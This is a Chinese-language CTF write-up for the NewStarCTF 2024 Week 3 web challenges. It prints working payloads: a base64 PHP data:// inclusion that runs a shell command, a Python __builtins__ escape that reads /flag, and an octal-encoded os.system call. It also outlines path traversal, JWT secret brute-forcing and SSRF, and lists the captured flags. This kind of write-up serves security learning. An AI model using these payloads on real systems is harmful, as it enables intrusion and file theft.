NewStarCTF2024-Week3-Web-WP

时间:2024-10-23 11:50:54

目录

1、Include Me

2、blindsql1

3、臭皮踩踩背

4、臭皮的计算机

5、这“照片”是你吗


1、Include Me

使用 data 协议,结合 base64 编码绕过

payload:

?iknow=1&me=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgL2ZsYWciKTs

拿到 flag:flag{d8c4938b-84cc-48a1-aaf0-9305b1c512aa}

2、blindsql1

这道题当时写的 exp 能打通 week3 和 week4 的,所以下周再给大家放出来

3、臭皮踩踩背

看到 __builtins__

跟 ssti 一样,payload:

f.__globals__['__builtins__'].print(f.__globals__['__builtins__'].open('/flag').read())

拿到 flag:flag{19475ea8-6fd6-4e4a-8b86-ad025e20e3f4}

4、臭皮的计算机

最开始以为还是 ssti,但是测试发现是直接传给 eval 函数的,只是过滤了所有字母

尝试调用 os 模块来执行系统命令:

os.system('ls')

使用八进制绕过:

\157\163\56\163\171\163\164\145\155\50\47\154\163\47\51

读取根目录下的 flag:

\157\163\56\163\171\163\164\145\155\50\47\164\141\143\40\57\146\154\141\147\47\51

拿到 flag:flag{2b07533f-2e8a-4f29-bec1-1db40f0abd52} 

5、这“照片”是你吗

扫到 DS_store

但是似乎没什么东西

一开始一直在页面请求的,没什么发现

后面 bp 重发,目录穿越拿到了 app.py 的源码

使用用户名和密码登录:amiya  114514

审代码的时候发现这句,说明应该是还有一个叫 flag.py 的文件

读一下:

def get_random_number_string(length):

    return ''.join([str(random.randint(0, 9)) for _ in range(length)])

结合前面拿到的代码可以知道 jwt 密钥 key 就是六位纯数字

爆破一下:

Found secret key: 968491

伪造 admin 登录

调 execute 路由

SSRF 利用

拿到 flag:flag{0da2e956-7511-43af-bb5e-b3598baa92c7}